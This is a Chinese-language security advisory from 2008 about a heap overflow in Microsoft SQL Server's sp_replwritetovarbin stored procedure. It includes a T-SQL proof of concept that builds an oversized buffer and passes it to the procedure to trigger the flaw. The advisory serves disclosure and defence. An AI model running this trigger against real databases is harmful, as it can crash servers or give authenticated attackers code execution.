发布日期:2008-12-09 更新日期:2008-12-11
受影响系统:
Microsoft SQL Server 2005 SP2 Microsoft SQL Server 2005 SP1 Microsoft SQL Server 2000
描述:
BUGTRAQ ID:
32710
Microsoft SQL Server是一款流行的SQL数据库系统。
SQL Server的sp_replwritetovarbin扩展存储过程中存在堆溢出漏洞。如果远程攻击者在参数中提供了未初始化变量的话,就可以触发这个溢出,向可控的位置写入内存,导致以有漏洞SQL Server进程的权限执行任意代码。
在默认的配置中,任何用户都可以访问sp_replwritetovarbin过程。通过认证的用户可以通过直接的数据库连接或SQL注入来利用这个漏洞。
<*来源:Bernhard Mueller (
research@sec-consult.com
)
链接:
http://secunia.com/advisories/33034/
http://www.sec-consult.com/files/20081209_mssql-2000-sp_replwritetovarbin_memwrite.txt
http://marc.info/?l=bugtraq&m=122893402319138&w=2
*>
测试方法:
DECLARE @buf NVARCHAR(4000),
@val NVARCHAR(4),
@counter INT
SET @buf = '
declare @retcode int,
@end_offset int,
@vb_buffer varbinary,
@vb_bufferlen int,
@buf nvarchar;
exec master.dbo.sp_replwritetovarbin 1,
@end_offset output,
@vb_buffer output,
@vb_bufferlen output,'''
SET @val = CHAR(0x41)
SET @counter = 0
WHILE @counter < 3000
BEGIN
SET @counter = @counter + 1
SET @buf = @buf + @val
END
SET @buf = @buf + ''',''1'',''1'',''1'',
''1'',''1'',''1'',''1'',''1'',''1'''
EXEC master..sp_executesql @buf
建议:
厂商补丁:
Microsoft
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.microsoft.com/technet/security/
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
|